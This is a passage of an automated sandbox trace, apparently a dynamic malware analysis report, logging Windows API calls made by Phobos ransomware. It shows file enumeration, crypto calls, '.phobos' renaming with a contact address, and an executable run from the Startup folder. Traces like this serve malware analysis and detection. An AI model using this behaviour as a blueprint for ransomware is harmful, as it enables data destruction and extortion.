Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir1b.gif")) returned 0x220 [0155.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1B.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir1b.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir1b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.994] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir1f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.997] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3949) returned 1 [0155.997] CloseHandle (hObject=0x254) returned 1 [0155.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir1f.gif")) returned 0x220 [0155.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir1f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir1f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.998] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir20f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.999] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13320) returned 1 [0155.999] CloseHandle (hObject=0x254) returned 1 [0155.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir20f.gif")) returned 0x220 [0155.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR20F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir20f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir20f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.999] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir21f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0156.109] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11646) returned 1 [0156.109] CloseHandle (hObject=0x368) returned 1 [0156.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir21f.gif")) returned 0x220 [0156.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR21F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir21f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0156.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir21f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.110] CryptImportKey (in: hProv=0x8067b0, pbData=0x425fa40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x425faa8 | out: phKey=0x425faa8*=0x894ef8) returned 1 [0156.110] CryptSetKeyParam (hKey=0x894ef8, dwParam=0x1, pbData=0x425fa90, dwFlags=0x0) returned 1 [0156.110] CryptDecrypt (in: hKey=0x894ef8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0x425fa5c | out: pbData=0x23ac068, pdwDataLen=0x425fa5c) returned 1 [0156.110] CryptDestroyKey (hKey=0x894ef8) returned 1 [0156.110] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0156.110] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75c06b50 [0156.110] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0156.111] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 Process: id = "10" image_name = "ph_exec.exe1.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe" page_root = "0x51029000" os_pid = "0xe40" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe1.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 45 os_tid = 0xe44 [0141.774] GetStartupInfoW (in: lpStartupInfo=0x3bfc70 | out: lpStartupInfo=0x3bfc70*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0141.775] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0141.775] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xb60000 [0141.783] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0141.783] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsAlloc") returned 0x75c04ae0 [0141.783] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsGetValue") returned 0x75c04b20 [0141.783] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsSetValue") returned 0x75c04b40 [0141.784] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsFree") returned 0x75c04b00 [0141.784] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x214) returned 0xb605a8 [0141.785] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0141.785] GetCurrentThreadId () returned 0xe44 [0141.785] GetStartupInfoW (in: lpStartupInfo=0x3bfc0c | out: lpStartupInfo=0x3bfc0c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x12871aa, hStdOutput=0x12874e3, hStdError=0xb605a8)) [0141.785] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x800) returned 0xb607c8 [0141.786] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0141.786] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0141.786] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0141.786] SetHandleCount (uNumber=0x20) returned 0x20 [0141.786] GetCommandLineA () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe1.exe\" " [0141.786] GetEnvironmentStringsW () returned 0x5f4c8* [0141.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1410 [0141.786] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x582) returned 0xb60fd0 [0141.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0xb60fd0, cbMultiByte=1410, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1410 [0141.787] FreeEnvironmentStringsW (penv=0x5f4c8) returned 1 [0141.787] GetLastError () returned 0xcb [0141.787] SetLastError (dwErrCode=0xcb) [0141.787] GetLastError () returned 0xcb [0141.787] SetLastError (dwErrCode=0xcb) [0141.787] GetLastError () returned 0xcb [0141.787] SetLastError (dwErrCode=0xcb) [0141.787] GetACP () returned 0x4e4 [0141.787] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x220) returned 0xb61560 [0141.787] GetLastError () returned 0xcb [0141.787] SetLastError (dwErrCode=0xcb) [0141.787] IsValidCodePage (CodePage=0x4e4) returned 1 [0141.787] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3bfbd4 | out: lpCPInfo=0x3bfbd4) returned 1 [0141.787] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3bf6a0 | out: lpCPInfo=0x3bf6a0) returned 1 [0141.787] GetLastError () returned 0xcb [0141.787] SetLastError (dwErrCode=0xcb) [0141.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bfab4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0141.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bfab4, cbMultiByte=256, lpWideCharStr=0x3bf418, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0141.787] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x3bf6b4 | out: lpCharType=0x3bf6b4) returned 1 [0141.787] GetLastError () returned 0xcb [0141.787] SetLastError (dwErrCode=0xcb) [0141.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bfab4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0141.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bfab4, cbMultiByte=256, lpWideCharStr=0x3bf3e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﹊퉨骫ĨĀ") returned 256 [0141.787] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﹊퉨骫ĨĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0141.787] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﹊퉨骫ĨĀ", cchSrc=256, lpDestStr=0x3bf1d8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0141.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x3bf9b4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa5\x44\x7e\xfa\xec\xfb\x3b", lpUsedDefaultChar=0x0) returned 256 [0141.788] GetLastError () returned 0xcb [0141.788] SetLastError (dwErrCode=0xcb) [0141.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bfab4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0141.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3bfab4, cbMultiByte=256, lpWideCharStr=0x3bf408, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﹊퉨骫ĨĀ") returned 256 [0141.788] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﹊퉨骫ĨĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0141.788] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﹊퉨骫ĨĀ", cchSrc=256, lpDestStr=0x3bf1f8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0141.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x3bf8b4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 